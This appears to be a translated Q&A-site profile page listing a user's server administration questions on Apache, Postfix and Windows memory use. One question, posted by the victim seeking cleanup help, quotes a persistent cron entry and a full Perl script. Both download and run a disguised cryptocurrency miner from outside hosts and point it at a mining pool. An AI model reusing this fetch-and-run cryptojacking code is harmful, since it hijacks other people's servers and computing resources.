AskOverflow.Dev

AskOverflow.Dev Logo AskOverflow.Dev Logo

AskOverflow.Dev Navigation

  • 主页
  • 系统&网络
  • Ubuntu
  • Unix
  • DBA
  • Computer
  • Coding
  • LangChain

Mobile menu

Close
  • 主页
  • 系统&网络
    • 最新
    • 热门
    • 标签
  • Ubuntu
    • 最新
    • 热门
    • 标签
  • Unix
    • 最新
    • 标签
  • DBA
    • 最新
    • 标签
  • Computer
    • 最新
    • 标签
  • Coding
    • 最新
    • 标签
主页 / user-97386

Vaibhav Panmand's questions

Martin Hope
Vaibhav Panmand
Asked: 2017-08-01 22:20:56 +0800 CST

Apache 停止使用大量虚拟主机

  • 0

我正在使用带有 CentOS 7 的 Apache 2.4.6,我们在此服务器上运行了多个 VirtualHost(大约 500+),包括 SSL/Non-SSL。大多数虚拟主机都有使用 mod_proxy_balancer 的负载平衡节点。

所以现在我在配置新网站/虚拟主机时开始面临这个问题。当我添加新的 VirtualHost 并重新启动 apache 时,我在日志中收到以下错误。

[auth_digest:notice] [pid 64800] AH01757: generating secret for digest authentication ...
[lbmethod_heartbeat:notice] [pid 64800] AH02282: No slotmem from mod_heartmonitor
[core:emerg] [pid 64800] (28)No space left on device: AH00023: Couldn't create the proxy-balancer-shm mutex
[proxy_balancer:emerg] [pid 64800] (28)No space left on device: AH01180: mutex creation of proxy-balancer-shm : pcf1e59f3_x_xxxxxxx failed
[:emerg] [pid 64800] AH00020: Configuration Failed, exiting

在发布到这里之前,我已经在网上搜索过这个问题,我得到的解决方案很少,比如杀死信号量,增加最大打开文件/最大进程限制,但这些都不适用于我的情况。

另外我认为我的服务器配置足够强大,可以处理大量的 VirtualHost,如下所示。Centos 7 64 位专用盒子,配备 512G RAM 和 24 核/48 线程处理器。

如果有人解决了这个问题,请回复我,谢谢

apache-2.4
  • 1 个回答
  • 1163 Views
Martin Hope
Vaibhav Panmand
Asked: 2014-07-25 04:14:43 +0800 CST

高内存使用 Windows 2008

  • 0

我有一个运行 sqlserver 和 tomcat 的 32 GB RAM 的 Windows 服务器。

在资源监视器中,它显示超过 95% 的内存使用率,但是当我在进程中搜索所有进程时,每个进程消耗的内存少于 500 MB。

以下是服务器的一些顶级内存使用过程。

Tomcat7 (SYSTEM)       360 MB
sqlservr (SYSTEM)      328 MB
w3wp (NETWORK SERVICE) 302 MB
chrome (devel)         283 MB
svchost (SYSTEM)       266 MB
javaw (devel)          247 MB
......                 146 MB
Ssms (devel)           80 MB
NewRelic.ServerMonitor 69 MB
java (SYSTEM)          65 MB
...... (SYSTEM)        62 MB
explorer (devel)       54 MB
....... (devel)        49 MB
....... (SYSTEM)       40 MB
svchost                26 MB
....... (SYSTEM)       26 MB
WmiPrvSE               24 MB
services (SYSTEM)      9 MB
........ (devel)       6 MB

如何找到在任务管理器中不可见但消耗所有内存的进程?

windows
  • 1 个回答
  • 330 Views
Martin Hope
Vaibhav Panmand
Asked: 2014-05-26 22:39:13 +0800 CST

./kernelupdates 100% cpu 使用率

  • 5

我有一个 CENTOS6 服务器运行一些 wordpress 和 tomcat 网站。这两天一直在崩溃。经过调查,我们发现 kernelupdates 二进制文件消耗了服务器上 100% 的 cpu。过程如下所述。

./kernelupdates -B -o stratum+tcp://hk2.wemineltc.com:80 -u spdrman.9 -p passxxx

但是这个过程似乎是无效的内核更新。可能是服务器被入侵并且这个进程是由黑客安装的,所以我已经杀死了这个进程并删除了 apache 用户的 cron 条目。

但不知何故,这个过程在几个小时后又开始了,而且 cron 条目也恢复了,我正在寻找正在修改 cron 作业的东西。

  1. 这个过程是否属于采矿过程?
  2. 我们如何才能停止 cronjob 修改并清理这个进程的源头呢?

cron 条目(apache 用户)

/6 * * * * cd /tmp;wget http://updates.dyndn-web.com/.../abc.txt;curl -O http://updates.dyndn-web.com/.../abc.txt;perl abc.txt;rm -f abc*

abc.txt

#!/usr/bin/perl
system("killall -9 minerd");
system("killall -9 PWNEDa");
system("killall -9 PWNEDb");
system("killall -9 PWNEDc");
system("killall -9 PWNEDd");
system("killall -9 PWNEDe");
system("killall -9 PWNEDg");
system("killall -9 PWNEDm");
system("killall -9 minerd64");
system("killall -9 minerd32");
system("killall -9 named");
$rn=1;
$ar=`uname -m`;
while($rn==1 || $rn==0) {
$rn=int(rand(11));
}
$exists=`ls /tmp/.ice-unix`;
$cratch=`ps aux | grep -v grep | grep kernelupdates`;
if($cratch=~/kernelupdates/gi) { die; }
if($exists!~/minerd/gi && $exists!~/kernelupdates/gi) {
$wig=`wget --version | grep GNU`;
if(length($wig>6)) {
if($ar=~/64/g) {
system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;wget http://5.104.106.190/64.tar.gz;tar xzvf 64.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates");
} else {
system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;wget http://5.104.106.190/32.tar.gz;tar xzvf 32.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates");
}
} else {
if($ar=~/64/g) {
system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;curl -O http://5.104.106.190/64.tar.gz;tar xzvf 64.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates");
} else {
system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;curl -O http://5.104.106.190/32.tar.gz;tar xzvf 32.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates");
}
}
}

@prts=('8332','9091','1121','7332','6332','1332','9333','2961','8382','8332','9091','1121','7332','6332','1332','9333','2961','8382');
$prt=0;
while(length($prt)<4) { $prt=$prts[int(rand(19))-1]; }
print "setup for $rn:$prt done :-)\n";
system("cd /tmp/.ice-unix;./kernelupdates -B -o stratum+tcp://hk2.wemineltc.com:80 -u spdrman.".$rn." -p passxxx &");
print "done!\n";
apache-2.2
  • 6 个回答
  • 3268 Views
Martin Hope
Vaibhav Panmand
Asked: 2014-01-29 08:21:34 +0800 CST

来自 VM 的邮件不起作用

  • 0

我有一个带有后缀 MTA 的专用服务器和一个在服务器上运行的虚拟机。但是我在从虚拟机上配置的网站发送电子邮件时遇到问题。当我尝试发送电子邮件时,它给了我以下错误。

Jan 28 07:38:17 app postfix/smtpd[10806]: connect from unknown[10.28.169.130]
Jan 28 07:38:17 app postfix/smtpd[10806]: lost connection after EHLO from unknown[10.28.169.130]
Jan 28 07:38:17 app postfix/smtpd[10806]: disconnect from unknown[10.28.169.130]

其中 10.28.169.130 是专用系统的私有接口。我可以使用此 MTA 从其他服务器发送邮件,但 VM 实例有问题。

Postfix 配置如下。

alias_database = hash:/etc/aliases
alias_maps = hash:/etc/aliases
broken_sasl_auth_clients = yes
command_directory = /usr/sbin
config_directory = /etc/postfix
daemon_directory = /usr/libexec/postfix
data_directory = /var/lib/postfix
debug_peer_level = 2
disable_vrfy_command = yes
html_directory = no
inet_interfaces = xx.xx.xx.xx
inet_protocols = ipv4
local_transport = xxx.xxxx.xxx
mail_owner = postfix
mailq_path = /usr/bin/mailq.postfix
manpage_directory = /usr/share/man
message_size_limit = 0
milter_default_action = accept
milter_protocol = 6
multi_instance_directories = 
multi_instance_enable = yes
multi_instance_wrapper = ${command_directory}/postmulti -p --
mydestination = xxx.xxxx.xxx
myhostname = xxx.xxxx.xxx
mynetworks = 127.0.0.0/8, $myhostname
myorigin = xxx.xxxx.xxx
newaliases_path = /usr/bin/newaliases.postfix

#DKIM Config
non_smtpd_milters = inet:localhost:8891
queue_directory = /var/spool/postfix
readme_directory = /usr/share/doc/postfix-2.6.6/README_FILES
sample_directory = /usr/share/doc/postfix-2.6.6/samples
sendmail_path = /usr/sbin/sendmail.postfix

setgid_group = postdrop
smtp_helo_name = xxx.xxxxx.xxx
smtpd_banner = xxxx Email System
smtpd_recipient_restrictions = permit_mynetworks,  permit_sasl_authenticated, reject_unauth_destination, permit
smtpd_sasl_auth_enable = yes
smtpd_sasl_exceptions_networks = $mynetworks
smtpd_sasl_path = private/auth
smtpd_sasl_security_options = noanonymous
smtpd_sasl_type = dovecot
smtpd_sender_restrictions = permit_mynetworks,  permit_sasl_authenticated, reject_unauth_destination, permit
smtpd_tls_auth_only = no
smtpd_tls_cert_file = /etc/ssl/mailserver/server.pem
smtpd_tls_key_file = /etc/ssl/mailserver/server.key
smtpd_tls_loglevel = 0
smtpd_tls_received_header = no
smtpd_tls_session_cache_database = btree:/var/lib/postfix/smtpd_tls_session_cache
smtpd_use_tls = yes
tls_random_source = dev:/dev/urandom
unknown_local_recipient_reject_code = 550
virtual_alias_maps = proxy:mysql:$config_directory/mysql_virtual_alias_maps.cf
virtual_gid_maps = static:12
virtual_mailbox_base = /var/vmail
virtual_mailbox_domains = proxy:mysql:$config_directory/mysql_virtual_domains_maps.cf
virtual_mailbox_maps = proxy:mysql:$config_directory/mysql_virtual_mailbox_maps.cf
virtual_minimum_uid = 505
virtual_transport = dovecot
virtual_uid_maps = static:505

请帮我解决这个问题。谢谢

centos
  • 1 个回答
  • 401 Views
Martin Hope
Vaibhav Panmand
Asked: 2013-02-08 06:48:19 +0800 CST

多个目录的 Apache 身份验证

  • 2

我的网站在 apache 2.2.3 中运行。网站根目录包含三个目录。我想为这些目录设置身份验证如下

  1. 只有user1可以浏览所有页面

  2. user2 只能访问 mydomain.com/dir1/

  3. user3 只能访问 mydomain.com/dir2/

  4. user4 只能访问 mydomain.com/dir3/

我尝试了以下配置,但只有 user1 可以浏览网站,其他用户无法访问网站。

<directory /var/www/html/example>
        AuthUserFile /etc/httpd/user1-htpasswd
        AuthName "Resricted"
        AuthType Basic
        Require user user1
</directory>

<directory /var/www/html/example/dir1/>
        AuthUserFile /etc/httpd/user2-htpasswd
        AuthName "Resricted"
        AuthType Basic
        Require user user2
</directory>

<directory /var/www/html/example/dir2/>
        AuthUserFile /etc/httpd/user3-htpasswd
        AuthName "Resricted"
        AuthType Basic
        Require user user3
</directory>

请指导我。提前致谢。

apache-2.2
  • 2 个回答
  • 2417 Views

Sidebar

Stats

  • 问题 205573
  • 回答 270741
  • 最佳答案 135370
  • 用户 68524
  • 热门
  • 回答
  • Marko Smith

    新安装后 postgres 的默认超级用户用户名/密码是什么?

    • 5 个回答
  • Marko Smith

    SFTP 使用什么端口?

    • 6 个回答
  • Marko Smith

    命令行列出 Windows Active Directory 组中的用户?

    • 9 个回答
  • Marko Smith

    什么是 Pem 文件,它与其他 OpenSSL 生成的密钥文件格式有何不同?

    • 3 个回答
  • Marko Smith

    如何确定bash变量是否为空?

    • 15 个回答
  • Martin Hope
    Tom Feiner 如何按大小对 du -h 输出进行排序 2009-02-26 05:42:42 +0800 CST
  • Martin Hope
    Noah Goodrich 什么是 Pem 文件,它与其他 OpenSSL 生成的密钥文件格式有何不同? 2009-05-19 18:24:42 +0800 CST
  • Martin Hope
    Brent 如何确定bash变量是否为空? 2009-05-13 09:54:48 +0800 CST
  • Martin Hope
    cletus 您如何找到在 Windows 中打开文件的进程? 2009-05-01 16:47:16 +0800 CST

热门标签

linux nginx windows networking ubuntu domain-name-system amazon-web-services active-directory apache-2.4 ssh

Explore

  • 主页
  • 问题
    • 最新
    • 热门
  • 标签
  • 帮助

Footer

AskOverflow.Dev

关于我们

  • 关于我们
  • 联系我们

Legal Stuff

  • Privacy Policy

Language

  • Pt
  • Server
  • Unix

© 2023 AskOverflow.DEV All Rights Reserve